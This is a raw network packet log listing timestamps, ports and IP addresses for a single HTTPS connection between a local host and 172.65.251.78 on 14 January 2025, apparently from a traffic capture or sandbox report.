Jan 14, 2025 13:28:46.884880066 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.885018110 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.885071039 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.885072947 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.885092974 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.885129929 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.885142088 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.885282040 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.885339022 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.885344028 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.885360956 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.885396004 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.885407925 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.938846111 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.938863039 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.938946962 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.938961983 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.939007044 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.974579096 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.974670887 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.974699020 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.974706888 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.974857092 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.974857092 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.974880934 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.974936962 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.974937916 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.974978924 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.974992990 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975020885 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975146055 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975203991 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975219965 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975228071 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975259066 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975279093 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975425005 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975486040 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975497007 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975505114 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975538015 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975545883 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975667000 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975718975 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975724936 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975742102 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975775957 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975786924 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.975929976 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.975986004 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.976000071 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.976008892 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.976038933 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.976054907 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.976150990 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.976208925 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.976218939 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.976243973 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:46.976257086 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:46.976285934 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.029695988 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.029778957 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.029827118 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.029836893 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.029876947 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.029889107 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.064888954 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.064971924 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.064984083 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065025091 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065042973 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065072060 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065257072 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065314054 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065340042 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065347910 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065368891 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065390110 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065510035 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065562963 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065579891 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065587997 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065610886 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065623999 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065717936 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065782070 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065788984 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065814018 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.065844059 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.065853119 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066023111 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.066075087 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.066091061 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066098928 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.066111088 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066129923 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066138983 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066273928 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.066332102 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.066349030 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066358089 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.066389084 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066396952 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066518068 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.066570997 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.066582918 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066591978 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.066627026 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.066634893 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.120239019 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.120328903 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.120371103 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.120387077 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.120398998 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.120424986 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.155278921 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.155302048 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.155384064 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.155394077 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.155443907 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.155520916 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.155536890 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.155585051 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.155595064 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.155632973 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.155899048 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.155952930 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.155970097 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.155978918 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.156012058 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.156032085 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.156249046 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.156313896 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.156326056 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.156356096 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.156375885 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.156414032 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.156570911 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.156644106 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.156651020 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.156752110 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.156805038 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.156816959 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.156842947 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.156871080 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.157044888 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.157097101 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.157116890 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.157125950 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.157171965 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.157335997 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.157394886 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.157409906 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.157418966 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.157450914 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.212487936 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.246265888 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246311903 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246381998 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246418953 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.246428013 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246469021 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246494055 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.246536970 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.246623993 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246680975 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246692896 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.246701956 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246731043 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.246747017 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.246879101 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246943951 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246953011 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.246984959 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.246999979 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247025967 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247152090 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247204065 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247217894 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247231960 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247278929 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247416973 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247476101 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247488976 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247498035 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247541904 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247541904 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247658014 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247710943 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247721910 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247741938 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247780085 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247780085 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247914076 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247971058 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.247984886 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.247993946 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.248023033 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.248071909 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.248080015 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.248102903 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.248147011 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.248167992 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.248230934 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.336894989 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.336987972 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337013960 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337064981 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337095976 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337116957 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337204933 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337260962 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337287903 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337301970 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337327957 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337346077 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337436914 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337490082 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337507010 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337526083 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337551117 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337573051 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337656975 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337719917 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337754965 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337766886 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337793112 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337822914 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337892056 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337944984 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.337961912 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.337974072 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338011980 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338032961 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338121891 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338176966 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338187933 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338200092 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338241100 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338259935 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338359118 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338418007 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338437080 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338449001 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338475943 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338526011 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338696957 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338762045 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338783979 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338795900 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.338831902 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.338851929 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.427520990 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.427607059 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.427630901 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.427651882 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.427681923 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.427725077 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.427781105 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.427855015 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.427948952 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.427998066 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428025007 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428042889 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428065062 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428087950 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428143024 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428196907 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428215027 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428226948 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428276062 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428277016 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428313017 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428371906 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428452015 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428517103 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428605080 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428656101 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428684950 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428697109 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428803921 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428847075 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428859949 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428865910 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.428894997 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.428952932 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.429059982 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429140091 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.429152966 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429209948 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429214001 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.429251909 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429280996 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.429300070 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429301023 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.429335117 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429352999 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.429459095 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429533958 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.429547071 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429620981 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429675102 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429681063 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.429706097 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.429737091 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.429759026 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518140078 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518208981 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518256903 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518335104 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518390894 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518403053 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518418074 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518450975 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518465042 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518496037 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518511057 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518652916 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518699884 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518721104 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518734932 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518763065 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518801928 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518867970 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518927097 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518944979 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.518958092 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.518992901 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.519015074 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.519089937 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.519141912 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.519160986 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.519172907 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.519201994 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.519238949 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.519364119 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.519412994 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.519438028 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:47.519457102 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:47.519480944 CET	49730	443	192.168.2.4	172.65.251.78
